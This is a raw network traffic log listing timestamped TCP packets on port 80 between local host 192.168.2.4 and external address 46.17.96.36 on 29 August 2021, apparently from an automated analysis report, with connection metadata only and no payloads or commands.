Aug 29, 2021 22:28:39.214816093 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214859962 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214901924 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.214962959 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.215254068 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.215280056 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.247255087 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.247565031 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.247945070 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.248194933 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.248224974 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.248250008 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.286112070 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.286242008 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.334475994 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.334755898 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.335777044 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.370111942 CEST	80	49981	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.370151043 CEST	80	49982	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.370209932 CEST	49981	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.370266914 CEST	49982	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.371246099 CEST	80	49983	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.371355057 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.386573076 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.423547983 CEST	80	49983	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.468265057 CEST	80	49983	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.468760014 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.751722097 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.752810955 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.753959894 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.787065983 CEST	80	49983	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.787153959 CEST	49983	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.788086891 CEST	80	49984	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.788175106 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.788600922 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.788677931 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.803431034 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.803626060 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.803725004 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.803901911 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.804024935 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.838670015 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838715076 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838752031 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838782072 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838860989 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.838896990 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.838900089 CEST	80	49984	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838926077 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.838959932 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.839044094 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.839067936 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.839070082 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.839178085 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.873991966 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874017954 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874026060 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874051094 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874209881 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874224901 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874212027 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.874325991 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.874435902 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.874653101 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874666929 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874675989 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.874780893 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.874805927 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.881725073 CEST	80	49984	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.881841898 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.909292936 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909317017 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909327030 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909337997 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909348011 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909462929 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909538031 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:39.909683943 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909701109 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909948111 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909965038 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.909975052 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944526911 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944576025 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944592953 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944669008 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944685936 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.944921017 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.983489990 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:39.983593941 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.034405947 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.034765005 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.035762072 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.069546938 CEST	80	49985	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:40.069653034 CEST	49985	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.070641994 CEST	80	49984	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:40.070749044 CEST	49984	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.071238041 CEST	80	49986	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:40.071336985 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.094607115 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:40.129647970 CEST	80	49986	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:40.169133902 CEST	80	49986	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:40.169441938 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.337347984 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.337616920 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.368913889 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.370971918 CEST	80	49987	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.371107101 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.372345924 CEST	80	49986	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.372454882 CEST	49986	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.401186943 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.401271105 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.401392937 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.407131910 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.407206059 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.407388926 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.407582045 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.434796095 CEST	80	49987	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439486980 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439508915 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439517021 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439522982 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439604998 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439727068 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439764023 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.439798117 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.439834118 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.439893961 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.439960003 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.472596884 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.472624063 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.472704887 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.472810984 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.472846031 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.473284006 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.473301888 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.473311901 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.473325014 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.473339081 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.473376036 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.473515987 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.478007078 CEST	80	49987	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.478094101 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.505630970 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.505656958 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.505671978 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.505686045 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.505703926 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.505776882 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.506170988 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.506249905 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.506472111 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.537672043 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.537729025 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.537899971 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.538059950 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.578342915 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.578509092 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.600575924 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.600836992 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.601923943 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.632844925 CEST	80	49988	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.633002996 CEST	49988	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.634037971 CEST	80	49989	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.634056091 CEST	80	49987	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.634135008 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.634196997 CEST	49987	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.642771959 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:49.675457954 CEST	80	49989	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.721581936 CEST	80	49989	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:49.721697092 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.718820095 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.719888926 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.752680063 CEST	80	49989	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.752809048 CEST	49989	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.755673885 CEST	80	49990	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.755825043 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.758090973 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.793590069 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.793714046 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.839502096 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.843131065 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.843199015 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.843338013 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:50.874528885 CEST	80	49990	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878473997 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878509045 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878585100 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878777981 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878807068 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.878952026 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.921204090 CEST	80	49990	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:50.921386003 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.235548019 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.235634089 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.235743046 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.271795988 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.271852016 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.271878958 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.271902084 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.271927118 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.272002935 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.272099018 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.272157907 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.307698011 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.307737112 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.307761908 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.307795048 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.307841063 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.307852983 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.307921886 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.307992935 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.308002949 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308095932 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308273077 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308403969 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308572054 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308840036 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.308944941 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343267918 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343293905 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343307972 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343415976 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343444109 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.343457937 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.398464918 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.398545980 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.398631096 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.434165955 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.434211969 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.434238911 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.434263945 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.434289932 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.487952948 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.488219023 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.801718950 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.802009106 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.803271055 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.836817026 CEST	80	49990	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.837049007 CEST	49990	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.837160110 CEST	80	49991	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.837272882 CEST	49991	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:51.838067055 CEST	80	49992	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:51.838184118 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:52.083343029 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:52.118460894 CEST	80	49992	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:52.162986994 CEST	80	49992	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:52.163054943 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.267793894 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.268974066 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.287658930 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.306751013 CEST	80	49993	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.306783915 CEST	80	49992	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.306911945 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.307353973 CEST	49992	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.322628975 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.322738886 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.327419996 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.329668999 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.329758883 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.329924107 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.330066919 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.361161947 CEST	80	49993	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364731073 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364762068 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364778042 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364799976 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364823103 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.364907026 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.364959002 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.364984989 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.365009069 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.365103960 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.365158081 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400012016 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400053024 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400152922 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400245905 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400388956 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400424957 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400440931 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400465012 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400487900 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400511980 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400535107 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.400799990 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400857925 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400891066 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.400911093 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.403764009 CEST	80	49993	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.403883934 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.435759068 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.435844898 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.435882092 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.435902119 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.435909986 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.435935974 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.435971022 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.436079025 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.436115026 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.436129093 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436170101 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436193943 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436218977 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436472893 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436511040 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.436949968 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471030951 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471072912 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471110106 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471200943 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471230984 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471390009 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471569061 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471674919 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.471759081 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.511938095 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.512114048 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.539134979 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.539371014 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.540466070 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.573549032 CEST	80	49995	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.573606968 CEST	80	49993	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.573687077 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.573709011 CEST	49993	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.574110031 CEST	80	49994	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.574215889 CEST	49994	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.582918882 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.615590096 CEST	80	49995	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.659307003 CEST	80	49995	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:53.659446955 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.832469940 CEST	49995	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:53.834122896 CEST	49996	80	192.168.2.4	46.17.96.36
